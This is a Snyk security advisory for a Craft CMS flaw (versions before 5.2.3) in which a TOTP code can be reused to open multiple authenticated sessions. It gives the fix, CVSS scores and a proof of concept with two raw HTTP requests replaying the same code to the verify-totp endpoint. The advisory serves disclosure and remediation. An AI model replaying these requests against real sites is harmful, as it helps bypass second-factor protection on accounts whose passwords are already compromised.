Improper Authentication Affecting craftcms/cms package, versions >=5.0.0-beta.1, <5.2.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.06% (26th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-CRAFTCMSCMS-7569087
  • published 26 Jul 2024
  • disclosed 25 Jul 2024
  • credit Fabian Funder

How to fix?

Upgrade craftcms/cms to version 5.2.3 or higher.

Overview

craftcms/cms is a content management system.

Affected versions of this package are vulnerable to Improper Authentication due to the improper handling of TOTP tokens. An attacker can establish multiple authenticated sessions by reusing a valid TOTP token within its validity period.

Note:

This is only exploitable if the attacker has knowledge of the victim's credentials.

PoC

Start the login process in two different environments e.g. in two different browsers. Enter the same TOTP in both environments while making sure that both submissions are made in the timespan where the TOTP is valid. Both environments should display the dashboard, signalling that the authentication process has been successful.

The following request and response pairs show this behavior. The requests are made from different session (different CraftSessionId cookie), but yield the same response. Therefore, the one-time use requirement of TOTPs has been shown to be violated.

Request and response 1:

POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611475335 HTTP/1.1
Host: example.com
Cookie: CraftSessionId=f52a55[...]; CRAFT_CSRF_TOKEN=84046fab20[...]; b355f5550c68c4120bf669f0e80588c6_username=677791f5[...];
X-Requested-With: XMLHttpRequest
X-Csrf-Token: 3jS9tkBnKBRDJ[...]
Content-Length: 17
Connection: close

{"code":"101472"}

HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:35 GMT [...]

{"message":"Verification successful."}

Request and response 2:

POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611477246 HTTP/1.1
Host: example.com
Cookie: CraftSessionId=221f47[...]; CRAFT_CSRF_TOKEN=2db430[...]; b355f5550c68c4120bf669f0e80588c6_username=677791[...];
X-Requested-With: XMLHttpRequest
X-Csrf-Token: Raz6Fv[...]
Content-Length: 17
Connection: close

{"code":"101472"}

HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:37 GMT

[...]

{"message":"Verification successful."}

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
5.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    Present
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    Passive
  • Confidentiality (VC)
    None
  • Integrity (VI)
    High
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None